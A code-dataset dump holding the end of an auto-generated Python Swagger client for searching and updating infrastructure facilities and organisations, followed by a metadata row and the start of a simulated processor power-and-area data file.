_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def search_infrastructure_facilities(self, **kwargs): # noqa: E501
"""Search facilities # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.search_infrastructure_facilities(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param str pattern: Regex pattern for filtering facilities by names
:param list[str] order_by: List of fields to sort as an array of fieldName=asc|desc
:param int page: Page number
:param int page_size: Page size
:param str accept_language: Request accepted language
:return: list[InfrastructureFacilityNamedDTO]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.search_infrastructure_facilities_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.search_infrastructure_facilities_with_http_info(**kwargs) # noqa: E501
return data
def search_infrastructure_facilities_with_http_info(self, **kwargs): # noqa: E501
"""Search facilities # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.search_infrastructure_facilities_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param str pattern: Regex pattern for filtering facilities by names
:param list[str] order_by: List of fields to sort as an array of fieldName=asc|desc
:param int page: Page number
:param int page_size: Page size
:param str accept_language: Request accepted language
:return: list[InfrastructureFacilityNamedDTO]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['pattern', 'order_by', 'page', 'page_size', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method search_infrastructure_facilities" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'pattern' in params:
query_params.append(('pattern', params['pattern'])) # noqa: E501
if 'order_by' in params:
query_params.append(('order_by', params['order_by'])) # noqa: E501
collection_formats['order_by'] = 'multi' # noqa: E501
if 'page' in params:
query_params.append(('page', params['page'])) # noqa: E501
if 'page_size' in params:
query_params.append(('page_size', params['page_size'])) # noqa: E501
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/facilities', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[InfrastructureFacilityNamedDTO]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def search_infrastructures_tree(self, **kwargs): # noqa: E501
"""Search organisations # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.search_infrastructures_tree(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param str pattern: Regex pattern for filtering list by names
:param list[str] organisation_uris: organisation URIs
:param str accept_language: Request accepted language
:return: list[ResourceTreeDTO]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.search_infrastructures_tree_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.search_infrastructures_tree_with_http_info(**kwargs) # noqa: E501
return data
def search_infrastructures_tree_with_http_info(self, **kwargs): # noqa: E501
"""Search organisations # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.search_infrastructures_tree_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param str pattern: Regex pattern for filtering list by names
:param list[str] organisation_uris: organisation URIs
:param str accept_language: Request accepted language
:return: list[ResourceTreeDTO]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['pattern', 'organisation_uris', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method search_infrastructures_tree" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'pattern' in params:
query_params.append(('pattern', params['pattern'])) # noqa: E501
if 'organisation_uris' in params:
query_params.append(('organisation_uris', params['organisation_uris'])) # noqa: E501
collection_formats['organisation_uris'] = 'multi' # noqa: E501
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/organisations', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ResourceTreeDTO]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_infrastructure(self, **kwargs): # noqa: E501
"""Update an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_infrastructure(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureUpdateDTO body: Organisation description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_infrastructure_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.update_infrastructure_with_http_info(**kwargs) # noqa: E501
return data
def update_infrastructure_with_http_info(self, **kwargs): # noqa: E501
"""Update an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_infrastructure_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureUpdateDTO body: Organisation description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_infrastructure" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/organisations', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ObjectUriResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_infrastructure_facility(self, **kwargs): # noqa: E501
"""Update a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_infrastructure_facility(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureFacilityUpdateDTO body: Facility description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_infrastructure_facility_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.update_infrastructure_facility_with_http_info(**kwargs) # noqa: E501
return data
def update_infrastructure_facility_with_http_info(self, **kwargs): # noqa: E501
"""Update a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_infrastructure_facility_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureFacilityUpdateDTO body: Facility description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_infrastructure_facility" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/facilities', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ObjectUriResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 39.578101 | 128 | 0.614018 | 5,582 | 51,689 | 5.443748 | 0.034396 | 0.055813 | 0.022115 | 0.028433 | 0.969362 | 0.964393 | 0.95814 | 0.950768 | 0.946161 | 0.944055 | 0 | 0.017635 | 0.295711 | 51,689 | 1,305 | 129 | 39.608429 | 0.817081 | 0.380681 | 0 | 0.812403 | 1 | 0 | 0.167482 | 0.049993 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03876 | false | 0 | 0.006202 | 0 | 0.102326 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
307117f3e459d7d7536f018cd1b643e149d9d69c | 68,647 | py | Python | benchmarks/SimResults/micro_pinned_train_combos/cmpD_bwavesgcccactusADMmilc/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/micro_pinned_train_combos/cmpD_bwavesgcccactusADMmilc/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/micro_pinned_train_combos/cmpD_bwavesgcccactusADMmilc/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate Leakage': 0.00662954,
'Peak Dynamic': 0.0,
'Runtime Dynamic': 0.0,
'Subthreshold Leakage': 0.0691322,
'Subthreshold Leakage with power gating': 0.0259246},
'Core': [{'Area': 32.6082,
'Execution Unit/Area': 8.2042,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.107836,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.287388,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.577607,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.122718,
'Execution Unit/Instruction Scheduler/Area': 2.17927,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.293456,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.50816,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.291444,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.09306,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.201513,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 6.30228,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.109122,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.010638,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.117491,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0786747,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.226613,
'Execution Unit/Register Files/Runtime Dynamic': 0.0893127,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.31345,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.774276,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155,
'Execution Unit/Runtime Dynamic': 2.64941,
'Execution Unit/Subthreshold Leakage': 1.83518,
'Execution Unit/Subthreshold Leakage with power gating': 0.709678,
'Gate Leakage': 0.372997,
'Instruction Fetch Unit/Area': 5.86007,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000654851,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000654851,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000566073,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000216784,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00113017,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00300594,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00643231,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0590479,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.075632,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 4.81084,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.176887,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.25688,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 7.26641,
'Instruction Fetch Unit/Runtime Dynamic': 0.518837,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932587,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.102259,
'L2/Runtime Dynamic': 0.00938716,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80969,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 4.16418,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.41754,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0351387,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0946974,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0946975,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 4.61318,
'Load Store Unit/Runtime Dynamic': 1.97925,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.233508,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.467016,
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'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591622,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283406,
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'Memory Management Unit/Dtlb/Area': 0.0879726,
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'Memory Management Unit/Gate Leakage': 0.00813591,
'Memory Management Unit/Itlb/Area': 0.301552,
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'Renaming Unit/Free List/Area': 0.0414755,
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'Renaming Unit/Peak Dynamic': 4.56169,
'Renaming Unit/Runtime Dynamic': 0.546859,
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'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779,
'Runtime Dynamic': 5.81717,
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'Execution Unit/Area': 7.68434,
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'Execution Unit/Floating Point Units/Area': 4.6585,
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'Execution Unit/Gate Leakage': 0.120359,
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'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
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'Execution Unit/Peak Dynamic': 4.92218,
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'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.100841,
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'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
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'Execution Unit/Register Files/Integer RF/Area': 0.362673,
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'Execution Unit/Register Files/Peak Dynamic': 0.178537,
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'Execution Unit/Runtime Dynamic': 1.77207,
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'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
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'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000725007,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000777601,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000174855,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0485182,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 3.08618,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.119398,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.16479,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 5.45447,
'Instruction Fetch Unit/Runtime Dynamic': 0.333658,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0343782,
'L2/Runtime Dynamic': 0.00950495,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
